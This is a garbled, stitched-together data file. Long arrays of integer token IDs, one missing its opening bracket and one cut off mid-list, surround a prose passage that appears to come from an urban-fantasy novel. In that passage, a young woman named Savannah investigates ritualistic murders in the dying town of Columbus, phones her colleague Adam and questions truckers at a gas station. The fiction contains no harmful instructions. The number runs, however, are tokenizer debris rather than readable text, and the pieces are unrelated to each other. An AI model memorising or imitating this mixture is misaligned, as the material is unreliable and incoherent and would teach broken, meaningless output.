9007, 545, 27926, 23182, 326, 22838, 285, 309, 574, 16789, 2366, 15, 733, 369, 247, 7353, 9549, 13, 285, 247, 2257, 625, 7236, 14, 20246, 685, 247, 1113, 13, 594, 309, 812, 1928, 4732, 3472, 1293, 18501, 272, 253, 4484, 2803, 15, 187, 187, 42, 1182, 6390, 1728, 13, 840, 1925, 13187, 15, 1621, 3662, 15, 2064, 369, 4030, 1128, 42, 3589, 626, 6789, 281, 755, 521, 9612, 13, 816, 281, 1339, 779, 871, 15, 13187, 5082, 626, 3523, 479, 8791, 15, 754, 369, 619, 5962, 31409, 672, 309, 9125, 323, 2970, 562, 275, 253, 1673, 625, 15, 187, 187, 9387, 9236, 574, 30363, 479, 14268, 1078, 703, 1669, 13, 285, 309, 369, 12868, 247, 3817, 281, 1379, 672, 619, 894, 25791, 15, 380, 3166, 641, 8, 346, 19258, 2752, 8726, 449, 13187, 434, 5406, 32773, 598, 13, 247, 7122, 14, 1403, 1020, 581, 273, 779, 24145, 1078, 521, 806, 8574, 327, 247, 21114, 7408, 1390, 8986, 15, 187, 187, 42, 1871, 644, 275, 2389, 342, 13187, 1580, 309, 369, 13265, 15, 309, 1871, 8228, 598, 7895, 275, 253, 3640, 326, 1223, 643, 6838, 33305, 670, 616, 7445, 7832, 13, 309, 1871, 2168, 1119, 7477, 15, 309, 816, 3058, 281, 3343, 1919, 309, 369, 1711, 2217, 323, 779, 281, 8968, 309, 3589, 626, 816, 521, 3858, 8, 18588, 28, 309, 369, 521, 7765, 20187, 15, 187, 187, 25347, 6933, 17132, 670, 987, 15, 2896, 253, 673, 309, 2686, 4925, 25279, 13, 2167, 13, 309, 8156, 352, 369, 1039, 1512, 2872, 15, 1621, 12524, 6818, 14, 23587, 14, 2913, 14, 744, 943, 320, 6110, 275, 247, 5772, 326, 2363, 15, 16244, 9673, 840, 15, 2091, 25259, 4817, 13, 309, 2183, 4266, 253, 8037, 369, 1335, 1512, 4618, 15, 19388, 32, 1621, 365, 15, 19388, 14, 531, 15, 733, 574, 281, 320, 6818, 14, 531, 15, 187, 187, 1231, 2427, 562, 323, 619, 6818, 14, 7053, 14348, 13, 816, 253, 767, 273, 441, 15, 2064, 3589, 626, 247, 861, 273, 2712, 1128, 664, 1849, 1900, 644, 1175, 3858, 15, 2091, 344, 2546, 835, 309, 3078, 281, 564, 13, 309, 753, 253, 954, 8214, 1659, 275, 3874, 13, 816, 281, 1918, 779, 247, 1892, 673, 15, 2635, 309, 8686, 247, 26738, 7619, 13, 1694, 619, 4707, 2218, 13, 1014, 574, 247, 49335, 459, 15, 2064, 2360, 13187, 651, 4720, 8968, 253, 7060, 14, 515, 13, 3496, 37882, 12933, 18477, 369, 4783, 323, 1175, 15, 309, 369, 247, 3416, 1024, 15, 187, 187, 2042, 344, 858, 4366, 13, 352, 1904, 626, 1646, 281, 1056, 667, 3064, 15, 309, 795, 4238, 79, 626, 64, 521, 3858, 8, 18588, 10542, 15, 309, 369, 521, 38800, 254, 285, 5796, 285, 326, 369, 512, 309, 369, 2455, 1469, 281, 320, 15, 11668, 352, 390, 3553, 352, 15, 309, 1871, 4425, 281, 1379, 352, 15, 2064, 1904, 626, 1599, 13, 2167, 13, 326, 619, 2798, 1904, 626, 892, 12216, 1046, 673, 309, 3735, 521, 5818, 10541, 15, 187, 187, 3, 1466, 479, 5476, 937, 344, 753, 672, 309, 9577, 15, 346, 1394, 1472, 23086, 285, 25106, 2168, 449, 187, 187, 3, 47, 1714, 15, 21979, 247, 16260, 35050, 342, 1896, 17651, 2531, 689, 1299, 265, 2168, 449, 187, 187, 42, 3534, 779, 247, 3158, 1408, 3487, 15, 187, 187, 3, 23016, 339, 434, 247, 1175, 5599, 937, 344, 753, 672, 309, 6699, 15, 346, 1394, 812, 897, 253, 2793, 15, 1284, 253, 8474, 8183, 275, 3643, 9236, 285, 22838, 434, 5928, 13, 309, 1353, 2403, 271, 9165, 3061, 449, 187, 187, 3, 1394, 751, 326, 13, 1053, 626, 368, 865, 187, 187, 3, 38714, 326, 4245, 479, 253, 5170, 1133, 15, 309, 9023, 417, 281, 17991, 352, 689, 368, 672, 309, 755, 627, 13, 2167, 449, 187, 187, 3, 1394, 1472, 387, 247, 8059, 15, 1284, 22258, 347, 352, 1537, 320, 13, 368, 1472, 10960, 449, 187, 187, 3, 2512, 403, 816, 247, 4564, 625, 36395, 1032, 309, 971, 281, 1790, 275, 327, 13, 594, 309, 1833, 3553, 2393, 285, 1705, 1918, 368, 247, 1133, 15, 31472, 434, 4030, 13, 533, 1805, 281, 789, 342, 3095, 368, 871, 13, 987, 32, 844, 1056, 247, 1175, 2285, 449, 187, 187, 5088, 15, 1292, 347, 1199, 347, 309, 7636, 2444, 342, 13187, 13, 309, 1663, 3078, 436, 281, 320, 619, 806, 14088, 1083, 15, 1284, 14088, 347, 309, 812, 1056, 352, 13, 8791, 15, 1893, 309, 753, 359, 1871, 2319, 352, 1996, 15, 754, 369, 4030, 342, 326, 15, 187, 187, 3, 4125, 13, 368, 1472, 1469, 281, 3297, 275, 27899, 13, 987, 32, 3105, 36437, 896, 285, 6593, 449, 187, 187, 3, 1147, 434, 760, 271, 4964, 4446, 15, 309, 452, 281, 1705, 896, 390, 3643, 9236, 285, 22838, 588, 871, 1633, 434, 598, 449, 187, 187, 3, 42, 1833, 1333, 309, 2197, 368, 562, 281, 513, 1791, 1601, 323, 479, 449, 187, 187, 3, 1989, 253, 3906, 12012, 187, 187, 23887, 9846, 1408, 816, 4030, 1293, 368, 15, 6279, 13, 309, 871, 368, 1871, 2581, 1705, 1728, 1046, 2360, 13, 533, 604, 368, 1663, 971, 1673, 2793, 13, 368, 878, 281, 755, 562, 275, 253, 1673, 285, 3297, 627, 15, 733, 434, 247, 1355, 3874, 15, 1422, 452, 281, 6673, 69, 275, 13, 2489, 629, 273, 253, 3114, 15, 733, 1833, 320, 1175, 323, 368, 13, 2970, 562, 13, 43261, 1981, 13, 2820, 281, 4944, 275, 29001, 187, 187, 46, 272, 1981, 342, 795, 18256, 507, 3333, 47888, 281, 4944, 715, 795, 13961, 64, 5948, 15, 2064, 434, 752, 344, 5486, 15, 12304, 79, 15, 187, 187, 42, 46572, 5821, 15, 754, 1160, 479, 9023, 281, 1067, 779, 342, 271, 5731, 10873, 15, 187, 424, 13524, 424, 187, 187, 424, 42, 424, 2335, 253, 896, 13939, 281, 27899, 15, 4855, 1576, 285, 5694, 37360, 1053, 626, 5878, 15, 17106, 513, 5694, 37360, 285, 253, 11553, 29490, 15, 6975, 22838, 13, 2167, 13, 309, 16410, 281, 4917, 281, 253, 7952, 15, 309, 9549, 672, 309, 476, 13, 285, 452, 247, 42229, 2338, 275, 619, 26759, 46728, 15, 309, 812, 452, 2668, 3643, 9236, 434, 13558, 316, 13, 533, 253, 16923, 369, 2590, 323, 253, 1735, 2129, 15, 1893, 309, 369, 21282, 272, 2112, 13, 18262, 253, 9549, 13, 672, 309, 4817, 247, 2579, 4660, 9734, 346, 6275, 3678, 323, 3578, 6574, 937, 534, 4455, 8909, 13, 7296, 27899, 369, 760, 247, 1643, 6574, 1977, 15, 11706, 13, 309, 574, 762, 2716, 247, 11100, 13, 594, 309, 6331, 15, 187, 187, 1909, 309, 6898, 598, 13, 247, 4564, 273, 9988, 398, 6225, 3345, 247, 8132, 13, 253, 9243, 581, 12669, 479, 562, 13, 253, 5662, 581, 12669, 562, 619, 9549, 15, 187, 187, 3, 46, 7694, 251, 2652, 6575, 937, 253, 5662, 5599, 753, 13, 49006, 387, 619, 9549, 15, 346, 2773, 434, 253, 13696, 344, 574, 275, 795, 510, 13303, 1623, 265, 3333, 346, 187, 187, 510, 9243, 5599, 434, 15944, 31688, 23258, 689, 479, 15, 346, 2598, 403, 368, 247, 4956, 581, 13, 4070, 865, 187, 187, 510, 5662, 581, 6294, 779, 598, 342, 247, 40332, 13, 840, 3531, 281, 479, 15, 346, 7161, 368, 13590, 32, 1707, 3548, 626, 1199, 1475, 562, 1060, 449, 187, 187, 42, 42960, 841, 6068, 497, 432, 27899, 13, 533, 604, 597, 497, 327, 436, 896, 3971, 13, 597, 497, 3164, 7615, 342, 253, 2170, 15, 187, 187, 18851, 272, 3643, 9236, 13, 309, 2469, 264, 327, 247, 1943, 13, 11453, 8580, 15, 346, 44265, 316, 449, 187, 187, 3, 4967, 865, 253, 9243, 5599, 753, 15, 346, 16440, 627, 323, 247, 3226, 751, 368, 449, 187, 187, 3, 1898, 417, 253, 4389, 383, 1659, 2057, 937, 253, 5662, 581, 753, 15, 346, 3726, 1849, 574, 3746, 247, 1643, 29803, 275, 253, 2469, 807, 15, 10231, 2255, 449, 187, 187, 1552, 369, 6927, 685, 309, 1869, 15, 309, 760, 574, 281, 1333, 13, 346, 6075, 8140, 865, 285, 309, 1694, 512, 253, 4278, 15, 1583, 1904, 626, 2028, 479, 2712, 309, 1904, 626, 1239, 275, 31472, 434, 5012, 13, 2167, 15, 3105, 1919, 597, 1871, 6699, 13, 285, 253, 5662, 637, 753, 13, 346, 2042, 368, 1642, 479, 13, 627, 434, 1633, 288, 46279, 1469, 327, 275, 326, 3874, 449, 187, 187, 3, 41, 46279, 865, 187, 187, 3, 40255, 6421, 273, 7477, 6331, 627, 1390, 2965, 13, 2403, 247, 6742, 15, 50026, 275, 253, 3430, 3652, 285, 1119, 581, 273, 731, 2206, 32092, 37455, 449, 187, 187, 3, 688, 4780, 865, 187, 187, 3, 47, 1240, 13, 432, 253, 2360, 1078, 13, 344, 15433, 15, 1292, 352, 369, 512, 627, 15, 19464, 13853, 15, 5418, 36555, 15, 16631, 5798, 15, 754, 33544, 562, 273, 627, 751, 253, 22144, 2994, 369, 846, 779, 15, 38191, 626, 3523, 275, 326, 3874, 2455, 969, 449, 187, 187, 52, 1194, 1539, 1864, 416, 1433, 54, 16755, 15, 309, 8, 37, 320, 247, 2257, 625, 9049, 670, 326, 604, 253, 17651, 2531, 7871, 1669, 2822, 1110, 8248, 5125, 2712, 751, 247, 2806, 2280, 15, 11706, 13, 352, 369, 247, 1265, 1128, 66, 12662, 326, 1633, 34612, 1537, 320, 1469, 327, 275, 27899, 15, 6758, 369, 1175, 13, 984, 432, 253, 1007, 273, 253, 1659, 13, 309, 1871, 1620, 452, 30346, 352, 15, 187, 187, 510, 7774, 327, 253, 29803, 574, 1677, 479, 247, 1175, 2460, 273, 27899, 15, 5402, 6867, 1355, 3874, 15586, 281, 11883, 13, 253, 5753, 15076, 562, 281, 16335, 390, 20956, 347, 3517, 347, 597, 812, 15, 1707, 651, 320, 247, 25364, 323, 764, 15807, 13, 533, 6571, 368, 1871, 923, 10198, 273, 1355, 1501, 7523, 9076, 2914, 264, 407, 49031, 1501, 486, 14, 296, 1301, 23298, 84, 15, 380, 17207, 651, 320, 247, 12097, 1601, 273, 5044, 14, 10613, 9341, 326, 574, 644, 627, 323, 1264, 14649, 15, 187, 187, 1909, 309, 12668, 715, 3874, 13, 2167, 13, 309, 7416, 1046, 1980, 5772, 275, 448, 297, 14650, 387, 253, 2372, 281, 320, 690, 5070, 2010, 13, 667, 5070, 2010, 15, 26291, 3874, 369, 1512, 43126, 4552, 247, 1307, 323, 27899, 13, 7862, 981, 598, 36522, 273, 28392, 42534, 1424, 1170, 275, 253, 29178, 285, 246, 12376, 30939, 2434, 413, 7871, 892, 5436, 15, 831, 1659, 369, 247, 42120, 13, 4000, 1076, 1078, 619, 2927, 13, 3846, 533, 1335, 10380, 15415, 15, 187, 187, 510, 3072, 861, 3261, 347, 604, 352, 574, 4102, 644, 3777, 432, 1740, 24321, 281, 1264, 13, 1014, 326, 6642, 12206, 271, 2329, 273, 18439, 36970, 15, 309, 12668, 2469, 1264, 9341, 327, 253, 46413, 273, 3874, 1128, 66, 50229, 14, 484, 43410, 31132, 13, 247, 908, 14, 5546, 2257, 342, 1264, 16059, 14, 78, 1250, 502, 3938, 398, 13, 285, 247, 47465, 3678, 4660, 15, 187, 187, 510, 16252, 10198, 2210, 1735, 13, 604, 581, 476, 1335, 1067, 731, 326, 672, 627, 434, 1652, 861, 273, 4588, 8811, 15, 8948, 247, 7150, 273, 253, 8783, 17564, 253, 2238, 273, 49031, 1501, 7523, 9076, 309 ]

, but double-checking is standard procedure around here, where we have to deal with everything from unstable clients to Cabal assassins. So I checked the photo. There was no question that the guy I'd talked to was Jesse Aanes. Next I looked up the murders on the Internet and downloaded everything I could find, which wasn't much. Ditto for the victims. I got a few hits on the latest one—Claire Kennedy—but nothing on the first two, Ginny Thompson and Brandi Degas. Yep, Gin and Brandi. Call me crazy, but naming your daughters after alcoholic beverages is just asking for trouble. Next I worked on identifying the ritual. I'd just finished plugging in ideas for the silver object in Claire's hand—coin, amulet, key—when I glanced at the clock. It was almost eleven. If I planned to get to Columbus today, I had to get going. I grabbed my helmet from the back room and wheeled my bike into the alley. Not a bicycle, a motorcycle. I might live in the green belt, but I'd never quite embraced the lifestyle. I drove a 1950 Triumph Thunderbird that Lucas and I had restored together. It was a sweet ride, and a lot more fuel-efficient than a car, so I could feel virtuous without sacrificing the cool factor. I zipped home, then called Adam. No answer. That was fine—I wasn't calling to get his approval, just to let him know. Adam wouldn't stop me anyway. He was my biggest supporter when I argued for getting out in the field more. Paige had baked me cookies before she left, and I was filling a box to take when my cell rang. The Doors' "Light My Fire." Adam's picture popped up, a god-awful one of him snapped before his first coffee on a ski trip last winter. I'd been in love with Adam since I was twelve. I'd grown up secure in the knowledge that while other girls dreamed about their ideal partner, I'd already found mine. I just needed to wait until I was old enough for him to realize I wasn't just his friends' ward; I was his soul mate. Sixteen sounded about right. By the time I actually reached sixteen, though, I realized it was way too young. No decent twenty-seven-year-old should be interested in a kid that age. Eighteen then. When eighteen passed, I told myself the gap was still too wide. Twenty? Nope. Twenty-one. It had to be twenty-one. We went out for my twenty-first birthday, just the two of us. That wasn't a sign of anything—we've always been good friends. When he asked where I wanted to go, I said the most expensive place in town, just to give him a hard time. Then I bought a knockout dress, got my hair done, even had a manicure. That night Adam would finally realize the smart-ass, irresponsible Savannah was gone for good. I was a woman now. If he did notice, it didn't seem to make any difference. I _wasn't_ his friends' ward anymore. I was his coworker and pal and that was all I was ever going to be. Take it or leave it. I'd decided to take it. That didn't mean, though, that my heart didn't flutter every time I heard his ring tone. "Let me guess," he said when I answered. "You're bored and lonely already." "Nope. Got a triple homicide with possible ritualistic overtones already." I gave him a quick rundown. "Jesse's a good guy," he said when I finished. "You could use the experience. As the senior employee in Paige and Lucas's absence, I'm making an executive decision." "You like that, don't you?" "Anything that gives me the upper hand. I promise not to lord it over you when I get there, though." "You're at a conference. As boring as it might be, you're stuck." "There are just a couple more seminars I want to sit in on, so I'll leave early and come give you a hand. Jesse's fine, but better to work with someone you know, right? We make a good team." True. But as much as I loved working with Adam, I really wanted this to be my first solo case. As solo as I could make it, anyway. So I said we'd discuss it later. He was fine with that. "Now, you're going to stay in Columbus, right? Not commute back and forth." "It's only an hour drive. I have to come back or Paige and Lucas will know something's up." "I'll say I sent you out to do legwork for me." "But the office—" "—will run just fine without you. Yes, I know you'd rather come home every night, but if you really want field experience, you need to get out in the field and stay there. It's a small town. You have to meld in, become part of the community. It'll be good for you, getting out, mingling, trying to fit in..." Mingling with _humans._ Trying to fit into _human_ society. That's what he meant. Damn. I reluctantly agreed. He made me promise to call him with an update tomorrow. **three** **I** took the back roads to Columbus. Highways and motorcycles don't mix. Neither do motorcycles and the Pacific Northwest. Like Lucas, though, I refuse to yield to the climate. I ride when I can, and have a rainsuit in my saddlebags. I could have taken Paige's Prius, but the forecast was clear for the next week. So I was zooming along, enjoying the ride, when I passed a service station warning "last gas for ten miles," which seemed odd, considering Columbus was only a few miles away. Still, I had under half a tank, so I stopped. As I filled up, a couple of truckers stood outside a rig, the younger one checking me out, the older one checking out my ride. "Marlon Brando," the older guy said, nodding at my ride. "That's the bike he had in _The Wild Ones._ " The younger guy's gaze slithered over me. "So are you a wild one, hon?" The older one shut him up with a glare, then turned to me. "Where you heading? There isn't much around out here." I doubted these guys were from Columbus, but if they were on this back road, they were probably familiar with the area. Channeling Paige, I pasted on a big, friendly smile. "Columbus." "Why?" the younger guy said. "Nothing there for a girl like you." "And not the safest place either," the older one said. "They've had themselves a few murders in the past year. Young women." This was easier than I thought. I only had to say, "Seriously?" and I got all the details. They didn't tell me anything I didn't read in Jesse's reports, though. Not until they'd finished, and the older man said, "If you ask me, there's something hinky going on in that town." "Hinky?" "Buddy of mine stopped there last fall, making a delivery. Went in the wrong building and found one of them satanic rituals." "In progress?" "Nah, from the night before, he figured. But it was all there. Pentacles. Black candles. Dead cat. He tore out of there like the devil himself was after him. Won't stop in that town ever again." SATANIC RITUALS. I'D be a lot more excited about that if the ritualistic signs left near those bodies suggested anything like a black mass. Still, it was a start—a hint that something supernatural might be going on in Columbus. Which was good, because from the look of the place, I'd never have guessed it. The articles on the murders had given me a good image of Columbus. Your typical small town struggling to survive, the kids shipping out to Seattle or Portland as soon as they could. There would be a subdivision for commuters, but mostly you'd see streets of small postwar homes fronted by tidy postage-stamp lawns. The downtown would be a patchwork of basic-service businesses that had been there for three generations. As I drove into town, though, I joined every local kid in chomping at the bit to be someplace else, anyplace else. Ghost town was too fanciful a term for Columbus, conjuring up visions of porch swings creaking in the breeze and tattered vintage Coke signs flapping. This place was a zombie, rotting before my eyes, dead but still somehow functioning. The population sign looked as if it had recently been reduced from four digits to three, even that estimate bearing an air of desperate optimism. I drove past three businesses on the outskirts of town—a boarded-up bowling alley, a used-car lot with three mud-mired clunkers, and a darkened gas station. The residential streets came next, if one can still call them that when there's little sign of actual residents. Maybe a quarter of the lots bore the kind of tidy postwar homes I

[ 3637, 253, 4948, 347, 604, 281, 18387, 731, 15, 3856, 310, 253, 5068, 273, 10263, 15, 187, 187, 1992, 479, 840, 13, 10263, 310, 247, 1039, 273, 3811, 247, 1039, 2584, 1495, 434, 2120, 1255, 15, 733, 310, 417, 816, 247, 5853, 285, 5604, 417, 11019, 10861, 15, 733, 310, 247, 2264, 2380, 15, 2091, 309, 923, 247, 2181, 619, 806, 8327, 310, 417, 281, 7081, 752, 309, 923, 13, 390, 281, 6008, 352, 13, 281, 4489, 352, 13, 281, 1416, 13, 281, 30215, 13, 390, 281, 1818, 352, 15, 2752, 806, 8327, 310, 281, 3812, 352, 15, 187, 187, 41526, 637, 13, 5054, 637, 13, 9493, 637, 13, 778, 973, 452, 20334, 323, 436, 8505, 2288, 6134, 2380, 281, 1495, 15, 1916, 479, 10263, 13, 751, 16115, 390, 18792, 13, 310, 271, 2425, 326, 20220, 26361, 479, 432, 2892, 15, 8948, 352, 21427, 1727, 352, 15, 187, 187, 29449, 13, 1223, 5686, 432, 11891, 13, 5644, 281, 271, 1014, 3687, 11891, 534, 8687, 479, 9106, 13, 2568, 22435, 1365, 342, 512, 326, 11999, 1078, 619, 5130, 27, 342, 14700, 285, 1966, 9365, 13, 2846, 10198, 285, 1547, 1559, 383, 41723, 13, 30790, 8248, 13, 285, 253, 759, 4482, 868, 285, 24383, 273, 253, 396, 1225, 410, 15, 187, 187, 1276, 3053, 347, 247, 1984, 670, 10263, 3395, 247, 1984, 670, 6523, 285, 7613, 670, 1146, 1966, 314, 6600, 285, 9338, 15, 187, 187, 2222, 40392, 485, 253, 9966, 187, 187, 1147, 7729, 281, 1007, 323, 253, 12002, 18701, 273, 247, 16753, 15, 496, 247, 1524, 3282, 326, 310, 752, 368, 513, 672, 368, 1113, 280, 1177, 1633, 15, 1916, 12002, 2097, 281, 346, 21528, 562, 3664, 326, 310, 13, 346, 16806, 366, 390, 20843, 449, 2091, 10263, 247, 21850, 13, 5913, 352, 6569, 281, 18047, 13, 368, 452, 281, 13, 987, 432, 253, 5068, 13, 7617, 752, 352, 310, 326, 368, 403, 1469, 281, 1333, 670, 352, 313, 249, 634, 10263, 481, 2091, 10263, 432, 247, 1566, 13, 323, 4227, 13, 368, 1364, 346, 18762, 366, 3, 253, 1774, 2181, 368, 878, 432, 253, 16753, 13, 749, 18936, 839, 512, 2010, 281, 253, 2554, 273, 1329, 2285, 15, 26659, 4834, 13, 1905, 1805, 2568, 13, 795, 38878, 4834, 64, 1905, 752, 310, 1469, 327, 627, 13, 752, 310, 253, 2926, 3212, 253, 16753, 32, 1422, 452, 281, 4858, 390, 20843, 816, 253, 12232, 2181, 326, 3198, 281, 320, 2183, 15, 1680, 25839, 352, 594, 368, 476, 1805, 18047, 352, 281, 634, 8446, 15, 187, 187, 3, 1147, 13, 352, 13, 352, 15, 1737, 310, 436, 795, 262, 64, 368, 1978, 5015, 670, 865, 368, 1642, 15, 187, 187, 3, 1147, 3, 310, 3365, 752, 368, 651, 795, 19506, 64, 604, 368, 497, 12930, 253, 2250, 390, 16753, 281, 3095, 275, 3000, 15, 346, 1328, 310, 23767, 689, 2819, 387, 1633, 449, 346, 1328, 310, 25661, 327, 1633, 449, 346, 1328, 310, 7063, 13, 25661, 896, 327, 521, 987, 4430, 937, 3966, 15, 187, 187, 42, 21758, 275, 247, 1708, 24342, 1387, 323, 3578, 1107, 13, 1907, 253, 15863, 273, 16115, 2067, 1421, 3578, 263, 9503, 15, 733, 369, 271, 5130, 37835, 7487, 253, 6423, 789, 342, 247, 1387, 273, 717, 43643, 15, 754, 574, 281, 320, 1077, 10799, 275, 521, 3884, 323, 627, 3589, 626, 673, 281, 9798, 4130, 849, 281, 769, 15, 3032, 2746, 369, 1199, 253, 1072, 347, 271, 3865, 1080, 434, 2746, 281, 247, 6200, 273, 16904, 15, 2064, 310, 13, 1978, 352, 2969, 13, 1691, 689, 581, 2934, 387, 247, 673, 13, 285, 1132, 352, 594, 253, 8446, 476, 923, 352, 4518, 15, 309, 5730, 512, 273, 368, 812, 8041, 690, 3924, 1132, 33558, 932, 281, 3698, 253, 6423, 789, 13, 923, 849, 344, 278, 3502, 512, 253, 3603, 273, 247, 1132, 281, 2118, 2112, 440, 2083, 19839, 407, 940, 25031, 35820, 571, 15, 187, 187, 46545, 595, 368, 13, 253, 9558, 13, 403, 253, 6423, 273, 1016, 10263, 368, 1056, 15, 329, 3924, 6423, 1057, 417, 2028, 253, 12353, 849, 281, 769, 15, 754, 29426, 253, 12353, 281, 897, 35324, 285, 11438, 326, 4459, 253, 2926, 3579, 275, 247, 33842, 13, 21414, 13, 2590, 13, 285, 6283, 17194, 5133, 15, 187, 187, 2042, 368, 651, 5283, 253, 2554, 273, 6423, 347, 368, 3812, 13, 368, 1537, 320, 1679, 21802, 281, 16359, 323, 313, 12557, 10, 752, 253, 1566, 556, 3559, 281, 368, 15, 1422, 651, 1333, 281, 4834, 13, 8288, 281, 634, 10263, 13, 984, 634, 10263, 310, 253, 12353, 326, 310, 1469, 281, 1347, 323, 253, 8446, 13, 346, 1552, 310, 752, 368, 403, 2820, 281, 1691, 689, 13, 594, 897, 5913, 7741, 16858, 368, 476, 7862, 459, 598, 13, 281, 513, 352, 15, 1310, 368, 878, 2801, 13, 1060, 13, 309, 588, 1918, 368, 2801, 15, 3166, 368, 878, 625, 13726, 32, 3856, 13, 407, 305, 10378, 13, 310, 690, 13726, 15, 3166, 368, 878, 690, 38785, 984, 273, 752, 368, 403, 2509, 13, 8261, 13, 368, 1694, 352, 449, 187, 187, 44824, 1225, 285, 13726, 285, 2801, 403, 1841, 326, 368, 1053, 626, 1089, 275, 30559, 5098, 13, 533, 403, 12002, 18701, 326, 3324, 21780, 281, 1495, 15, 1310, 253, 9558, 2506, 626, 2118, 275, 285, 1379, 689, 253, 2554, 273, 6423, 13, 253, 21780, 778, 7257, 616, 16226, 275, 271, 27736, 14, 3022, 5133, 15, 187, 187, 42, 9809, 247, 1643, 273, 619, 10618, 21780, 313, 16245, 10, 281, 1361, 1691, 841, 5697, 689, 15, 13168, 253, 346, 19192, 3, 347, 253, 1566, 10262, 352, 310, 417, 1512, 2590, 13, 285, 1364, 15080, 253, 6423, 434, 5181, 15, 831, 369, 253, 1083, 275, 841, 21780, 15, 309, 1158, 20577, 310, 247, 1270, 1566, 13, 17837, 13, 521, 24543, 403, 347, 342, 512, 3210, 13, 760, 253, 26223, 273, 247, 41651, 10263, 15, 844, 253, 6423, 16, 435, 382, 452, 281, 1379, 253, 3924, 285, 294, 14, 78, 744, 253, 16753, 281, 1056, 2119, 352, 556, 512, 253, 3309, 3603, 281, 1691, 2439, 253, 346, 19192, 449, 187, 187, 42, 26012, 323, 253, 24585, 22909, 15, 733, 3936, 1142, 3000, 281, 5513, 512, 436, 13, 533, 347, 368, 665, 452, 9047, 479, 1056, 841, 3451, 422, 46159, 871, 13, 597, 1379, 247, 2647, 273, 7253, 313, 16829, 672, 309, 1978, 327, 513, 351, 1981, 1048, 846, 309, 1849, 12800, 253, 1127, 481, 1583, 588, 1379, 795, 5658, 64, 247, 2647, 273, 7253, 671, 672, 368, 1379, 689, 253, 1480, 15306, 273, 634, 21780, 15, 187, 187, 1466, 434, 1448, 306, 987, 715, 253, 806, 10263, 313, 19192, 27, 637, 25661, 327, 298, 593, 481, 754, 1912, 626, 1007, 751, 344, 310, 25661, 327, 1633, 604, 344, 310, 6306, 4951, 598, 285, 1066, 15, 2596, 1039, 281, 14294, 247, 9644, 310, 281, 19031, 253, 29434, 896, 594, 253, 5170, 2133, 310, 275, 247, 3282, 14203, 275, 2317, 342, 1652, 390, 642, 2133, 1329, 13, 3021, 253, 12591, 8423, 3936, 327, 253, 1159, 273, 1329, 15, 4965, 1981, 253, 9246, 715, 247, 29740, 5281, 16965, 253, 5130, 19123, 13, 8479, 253, 29434, 281, 2118, 19265, 285, 19123, 15, 308, 300, 1076, 253, 1481, 281, 253, 1669, 13, 1977, 432, 253, 12591, 13, 4948, 247, 19037, 751, 271, 14150, 1127, 13, 534, 7729, 281, 3490, 253, 5170, 2133, 21169, 15, 20672, 272, 253, 13574, 5997, 253, 46387, 281, 3785, 21169, 13, 534, 2789, 253, 3564, 2489, 253, 1329, 323, 512, 326, 2801, 285, 21169, 19031, 15, 187, 187, 688, 253, 1273, 10263, 13, 313, 19192, 27, 637, 7063, 13, 25661, 327, 521, 987, 1133, 582, 281, 755, 625, 2801, 327, 326, 1133, 13, 344, 1364, 9644, 896, 21816, 15, 329, 1175, 2590, 6907, 387, 253, 269, 10059, 285, 247, 4951, 1386, 387, 521, 5004, 7729, 281, 1691, 625, 2801, 327, 521, 269, 10059, 15, 329, 3790, 763, 1386, 476, 320, 1512, 23470, 14, 3022, 15, 46769, 253, 2406, 2716, 273, 521, 2133, 835, 352, 310, 13, 285, 23148, 253, 1755, 629, 896, 281, 253, 1669, 13, 4483, 253, 23828, 281, 320, 346, 35293, 598, 449, 4965, 1981, 253, 987, 1791, 2584, 441, 247, 1652, 35580, 247, 5471, 326, 3253, 310, 8392, 275, 6222, 13, 285, 23970, 247, 5471, 273, 2626, 7877, 15, 1219, 22993, 253, 14636, 273, 253, 9246, 5239, 598, 247, 5322, 12415, 1905, 368, 476, 2761, 1928, 253, 1669, 1791, 2118, 27162, 15, 187, 187, 42, 1160, 247, 4564, 273, 4465, 46159, 281, 5513, 253, 1791, 6907, 2181, 13, 285, 281, 921, 253, 3064, 604, 253, 14636, 574, 4783, 253, 643, 1039, 15, 1310, 627, 403, 767, 7529, 3104, 187, 187, 9328, 403, 4228, 15, 1292, 604, 581, 273, 253, 3104, 310, 2897, 1070, 187, 187, 262, 5239, 598, 247, 4866, 1905, 281, 253, 1669, 275, 436, 4227, 15, 2091, 309, 2897, 1070, 253, 2406, 9246, 347, 309, 858, 13, 352, 873, 598, 247, 4866, 275, 253, 3884, 273, 253, 9644, 273, 253, 2133, 13, 5457, 5411, 352, 313, 4032, 12655, 2554, 481, 187, 187, 510, 1735, 23211, 14636, 436, 1039, 13, 187, 187, 4609, 5997, 247, 2118, 281, 253, 987, 15, 2064, 434, 752, 253, 1566, 651, 513, 604, 344, 497, 1469, 281, 4951, 257, 598, 15, 187, 187, 8195, 16753, 369, 271, 6860, 1007, 387, 1633, 1146, 2918, 275, 253, 3564, 15, 329, 1175, 6423, 651, 1620, 1581, 253, 346, 19192, 3, 281, 320, 8763, 432, 253, 8446, 15, 754, 651, 2028, 253, 12353, 281, 294, 14, 13311, 352, 594, 4130, 651, 871, 752, 369, 3192, 1659, 15, 1893, 309, 1694, 521, 987, 9215, 562, 273, 253, 1039, 13, 281, 2590, 247, 1854, 323, 521, 1007, 281, 4288, 275, 15, 309, 16535, 779, 689, 13, 12934, 5411, 521, 1600, 275, 752, 344, 369, 2819, 387, 15, 309, 7320, 521, 269, 10059, 896, 281, 253, 1669, 6941, 253, 1669, 1791, 281, 13726, 562, 13, 8479, 253, 2812, 1080, 434, 5130, 281, 24516, 987, 598, 281, 253, 4055, 273, 1600, 15, 187, 187, 688, 253, 1390, 10263, 627, 310, 247, 2900, 281, 247, 1895, 247, 2257, 273, 368, 11372, 672, 8577, 253, 1566, 715, 581, 273, 253, 269, 2569, 5810, 275, 253, 346, 46, 693, 13774, 449, 831, 16753, 369, 581, 273, 1142, 835, 247, 795, 6204, 64, 369, 253, 2926, 15, 42473, 247, 7863, 2133, 6107, 598, 253, 1007, 275, 253, 5974, 434, 10263, 15, 24697, 13, 253, 12002, 273, 253, 16753, 369, 1633, 751, 436, 1905, 342, 1007, 275, 253, 2590, 27, 187, 187, 3404, 667, 2281, 13, 581, 2900, 281, 253, 1895, 310, 281, 3365, 755, 253, 9215, 562, 273, 253, 1039, 285, 2199, 253, 1481, 3579, 247, 1652, 625, 15, 309, 26553, 253, 3309, 10713, 407, 1547, 14650, 598, 521, 896, 285, 15773, 253, 23828, 247, 1652, 625, 15, 380, 5130, 310, 417, 253, 18337, 3957, 2181, 387, 253, 5024, 273, 253, 830, 13, 533, 387, 1878, 352, 310, 275, 253, 2590, 15, 5838, 849, 253, 6907, 